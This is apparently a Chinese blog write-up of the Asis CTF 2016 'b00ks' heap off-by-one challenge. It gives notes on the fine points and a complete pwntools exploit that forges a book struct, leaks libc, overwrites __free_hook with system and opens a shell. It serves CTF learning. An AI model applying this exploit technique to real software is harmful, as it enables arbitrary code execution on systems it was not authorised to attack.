• 【PWN · heap | Off-By-One】Asis CTF 2016 b00ks


    萌新进度太慢了,才真正开始heap,还是从简单的Off-By-One开始吧


    前言

    步入堆的学习。堆的知识复杂而多,于是想着由wiki从简单部分逐个啃。

    b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵(因为确实连堆的管理机制都没有完全了解)。


    一、一些疑难点以及思考

    wp在网上有很多,然而读了五六篇不同大佬师傅写的wp,发现有很多细节被忽略了,可能这些细节都是很简单的,然而作为萌新,一些基本的知识和思路还是缺乏。

    好在,经过两三天的啃、跟着做,终于有了一些见解,基本思路也打通了。具体的wp就不在这里写了,可以食用其他大佬的wp,更为优质,而我就做一些补充。一些来自于本蒟蒻的细节的补充。

    细节0:off-by-one进行的单字节溢出,可以用作泄露,可以用作覆写。

    细节1:结构体分配内存时,先name成员指针、再description成员指针、后book结构体指针

    • 这个细节决定了,我们通过off-by-one进行单字节溢出时,地址总是减小,因此可以将book1结构体更新到description

    细节2:description可以修改,因此布置fake-book1要在单字节覆写之前;name不可以修改,但是会被首先free——即free_hook在free name时首先发作

    • 这就意味着——如果不用onegadget,而利用system('/bin/sh')那就需要把name指针布置为bin_sh字符串指针,也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址,同时由于book结构体中name、desc两个指针相邻,所以修改name值时,填入p64(bin_sh)+p64(free_hook)即可覆写name+desc指针为指定指针

    细节3:fake_book1的偏移,为了能让fake_book1落在指定的、更新后的book1的位置,前面可能需要填充padding,这个通过gdb调试,将偏移后的伪结构体数据布置到指定指针位置。

    • 每次运行虽然heap变化,但是低位不变,因此偏移也固定。为了方便布置,可以将book1的descrption内容开大一些。

    二、EXP

    1. from pwn import *
    2. context(arch='amd64',log_level='debug')
    3. io=process('./b00ks')
    4. def create(namesize,name,descriptionsize,description):
    5. io.sendlineafter(b'> ',b'1')
    6. io.sendlineafter(b'\nEnter book name size: ',str(namesize).encode())
    7. io.sendlineafter(b'Enter book name (Max 32 chars): ',name)
    8. io.sendlineafter(b'\nEnter book description size: ',str(descriptionsize).encode())
    9. io.sendlineafter(b'Enter book description: ',description)
    10. def delete(bookid):
    11. io.sendlineafter(b'> ',b'2')
    12. io.sendlineafter(b'Enter the book id you want to delete: ',str(bookid).encode())
    13. def edit(bookid,newdescription):
    14. io.sendlineafter(b'> ',b'3')
    15. io.sendlineafter(b'Enter the book id you want to edit: ',str(bookid).encode())
    16. io.sendlineafter(b'nter new book description: ',newdescription)
    17. def printinfo(id):
    18. io.sendlineafter(b'> ',b'4')
    19. for i in range(id):
    20. io.recvuntil(b'ID: ')
    21. ID=io.recvuntil(b'\n',drop=True)
    22. io.recvuntil(b'Name: ')
    23. Name=io.recvuntil(b'\n',drop=True)
    24. io.recvuntil(b'Description: ')
    25. Description=io.recvuntil(b'\n',drop=True)
    26. io.recvuntil(b'Author: ')
    27. Author=io.recvuntil(b'\n',drop=True)
    28. return ID,Name,Description,Author
    29. def changeAuthor(newAuthorname):
    30. io.sendlineafter(b'> ',b'5')
    31. io.sendlineafter(b'Enter author name: ',newAuthorname)
    32. ### 1.泄露第一个book结构体的指针
    33. # gdb.attach(io)
    34. bookname=b'a'*32
    35. io.sendlineafter(b'Enter author name: ',bookname)
    36. create(16,b'a',256,b'a')
    37. io.sendlineafter(b'> ',b'4')
    38. io.recvuntil(b'a'*32)
    39. book1_ptr=u64(io.recvuntil(b'\n\n1.',drop=True).ljust(8,b'\x00'))
    40. success('book1_ptr={}'.format(hex(book1_ptr)))
    41. raw_input()
    42. ### 2.伪造book1,并通过off-by-one修改book1到fake_book1
    43. # 将fake_book1的name_ptr属性指向book2的name,将fake_book1的description_ptr属性指向book2的description
    44. # 注意,由于name和description属性都是malloc的,且因为book结构体malloc(0x20)所以开辟的实际空间是0x30
    45. ### 之所以+0x40(desc)在前,+0x38(name)在后,是因为第二个位置对应可修改的desc指针,可以通过其修改book2的name、desc
    46. fake_book1=b'c'*0xc0+p64(1)+p64(book1_ptr+0x40)+p64(book1_ptr+0x38)+p64(0xffff)
    47. # fake_book1=b'c'*0x20+p64(1)+p64(book1_ptr+0x38)+p64(book1_ptr+0x40)+p64(0xffff)
    48. edit(1,fake_book1)
    49. # 为了泄露libc版本,需要让book2的name或description由mmap分配,同时也因此,book1和book2的堆空间相邻
    50. create(0x21000,b'b',0x21000,b'b')
    51. changeAuthor(bookname)
    52. # 注意下面的顺序,先desc再name对应payload的布置
    53. book2_id,book2_desc,book2_name,book2_author=printinfo(1)
    54. print(book2_id,book2_name,book2_desc,book2_author)
    55. book2_name_ptr=u64(book2_name.ljust(8,b'\x00'))
    56. success('book2_name_ptr:{}'.format(hex(book2_name_ptr)))
    57. book2_desc_ptr=u64(book2_desc.ljust(8,b'\x00'))
    58. success('book2_desc_ptr:{}'.format(hex(book2_desc_ptr)))
    59. raw_input()
    60. libc_base=book2_name_ptr-0x5cf010
    61. libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
    62. system=libc_base+libc.sym['system']
    63. success('system:{}'.format(hex(system)))
    64. execve=libc_base+libc.sym['execve']
    65. success('execve:{}'.format(hex(execve)))
    66. bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
    67. success('bin_sh:{}'.format(hex(bin_sh)))
    68. free_hook=libc_base+libc.sym['__free_hook']
    69. raw_input()
    70. ### 通过onegadget来打,但是均失败了
    71. # one_gadget=libc_base+0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88
    72. # edit(1,p64(0)+p64(free_hook))
    73. # edit(2,p64(one_gadget))
    74. # delete(2)
    75. ### 注意,这里的onegadget是没有patchelf该so和ld文件前即22.04版,16.04版未尝试
    76. ### 通过system('/bin/sh')来打
    77. edit(1,p64(bin_sh)+p64(free_hook)) #book2的name指针改为指向字符串'/bin/sh'的指针,desc指针指向free_hook
    78. edit(2,p64(system)) #修改free_hook的值为system\
    79. raw_input('+++++++')
    80. delete(2)# name指向的区域最先free,触发free_hook,此时已改为system
    81. io.interactive()

    三、效果


    总结

    还是比较难的,但是跟着wp做了一遍,发现细节、原理、思路以及流程都能够了解并掌握,且gdb调适能力大大提升。加油!

  • 相关阅读:
    执行java -jar命令,显示jar中没有主清单属性
    电子统计台账:垂直流水账格式数据的导入
    【课上笔记】第八章 图
    站在巨人肩膀上学习,京东爆款架构师成长手册首发
    docker 部署 clickhouse
    LeetCode算法二叉树—226. 翻转二叉树
    华为手机的10个使用技巧,你知道吗
    三入职场!你可以从我身上学到这些(附毕业Vlog)
    C 多维数组
    java.lang.Float类下longValue()方法具有什么功能呢?
  • 原文地址:https://blog.csdn.net/Mr_Fmnwon/article/details/134099694